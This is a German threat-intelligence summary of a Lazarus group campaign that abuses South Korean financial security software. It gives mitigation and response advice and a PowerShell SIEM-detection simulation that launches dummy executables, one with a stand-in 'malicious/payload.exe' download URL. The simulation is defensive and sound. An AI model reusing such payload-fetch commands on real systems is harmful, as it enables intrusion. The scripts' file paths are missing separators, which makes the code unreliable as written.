Lazarus nutzt südkoreanische Sicherheitssoftware zur Auslieferung von postquantenverschlüsselter Malware

Zusammenfassung

Die mit Nordkorea in Verbindung stehende Lazarus-Gruppe führt eine Cyber-Spionage-Kampagne durch, die als Operation FlashHole verfolgt wird. Die Gruppe nutzt Sicherheitslücken in weit verbreiteter südkoreanischer Finanzsicherheitssoftware aus, um ein fortschrittliches Malware-Framework bereitzustellen. Diese jüngste Iteration der Kampagne führt post-quantum-kryptografische Algorithmen ein, um die Kommando-und-Kontroll-Kommunikation zu schützen.

Untersuchung

Forschungen von Kaspersky und AhnLab deckten eine komplexe Infektionskette auf, die DLL-Sideloading und die missbräuchliche Nutzung legitimer Systembinaries wie fsquirt.exebeinhaltet. Analysten verbanden die Kampagne mit früheren Operationen, darunter SyncHole, und dokumentierten eine klare Weiterentwicklung der Malware-Sophistikation. Die Untersuchung offenbarte auch die Nutzung von GitHub Pages zur bösartigen Inhaltsbereitstellung und fortschrittliche Toolsets wie TechHub und Cubridge.

Abschwächung

Organisationen sollten die Patch-Bereitstellung für Finanzsicherheitssoftware wie INISAFE CrossWeb EX und AnySign4PC priorisieren. Strenge Kontrollen gegen DLL-Sideloading und die Überwachung ungewöhnlicher Parent-Child-Prozessbeziehungen, wie Sicherheitsssoftware, die fsquirt.exestartet, sind entscheidend. Verteidiger sollten auch unerwartete Verbindungen zu GitHub- oder Dropbox-APIs von ungewöhnlichen Prozessen überwachen, um potenzielle C2-Aktivitäten zu identifizieren.

Reaktion

Wenn bösartige Aktivitäten erkannt werden, isolieren Sie betroffene Hosts, um seitliche Bewegungen über Dateitransferlösungen zu verhindern. Führen Sie Speicherforensik durch, um bösartige DLLs zu identifizieren, die im Speicher ausgeführt werden, und überprüfen Sie Systeme auf unautorisierte Dateimodifikationen. Überprüfen Sie Netzwerktelemetrie auf verdächtige verschlüsselte Kommunikationen und untersuchen Sie potenzielle Datenexfiltrationsversuche zu bekannten Dark-Web-Leck-Seiten wie ULOSE.

Simulationsausführung

• Angriffsnarrativ & Befehle: Der Angreifer beabsichtigt, den TechHub-Downloader bereitzustellen, um eine Verbindung zu einem entfernten Repository auf GitHub herzustellen und die nächste Phase der Payload abzurufen. Um die Erkennung zu vermeiden, verwenden sie die TechHub.exe -Datei mit einer spezifischen URL. Anschließend verwenden sie den TouchHub.exe -Installer und übergeben den TOUCHSHIFT -Parameter, um die Installation von bösartigen Komponenten auszulösen. Dies simuliert die spezifischen Indikatoren für Kompromittierung (IoCs), die von der Lazarus-Gruppe verwendet werden.

• Regressionstest-Skript:

  # Simulationsskript für die Erkennung von Lazarus-Gruppe TechHub/TouchHub
  # Dieses Skript erstellt Dummy-Dateien, um die Anwesenheit der Malware-Binaries zu simulieren.
  
  $TempDir = "$env:TEMPLazarusSim"
  New-Item -ItemType Directory -Force -Path $TempDir
  
  $TechHubPath = "$TempDirTechHub.exe"
  $TouchHubPath = "$TempDirTouchHub.exe"
  
  # Erstellen Sie Dummy-Ausführungsdateien
  New-Item -ItemType File -Force -Path $TechHubPath
  New-Item -ItemType File -Force -Path $TouchHubPath
  
  Write-Host "[+] Simuliere TechHub-Aktivität..." -ForegroundColor Cyan
  # Dies sollte 'selection_techhub' auslösen
  Start-Process -FilePath $TechHubPath -ArgumentList "https://github.com/malicious/payload.exe" -WindowStyle Hidden
  
  Write-Host "[+] Simuliere TouchHub-Aktivität..." -ForegroundColor Cyan
  # Dies sollte 'selection_touchhub' auslösen
  Start-Process -FilePath $TouchHubPath -ArgumentList "--mode TOUCHSHIFT --install" -WindowStyle Hidden
  
  Write-Host "[+] Simulation abgeschlossen. Überprüfen Sie SIEM auf Warnungen." -ForegroundColor Green

• Aufräum-Befehle:

  # Aufräum-Skript zum Entfernen simulierter Dateien
  $TempDir = "$env:TEMPLazarusSim"
  if (Test-Path $TempDir) {
      Remove-Item -Recurse -Force $TempDir
      Write-Host "[+] Aufräumen erfolgreich: $TempDir entfernt." -ForegroundColor Green
  } else {
      Write-Host "[!] Aufräumen fehlgeschlagen: Verzeichnis nicht gefunden." -ForegroundColor Red
  }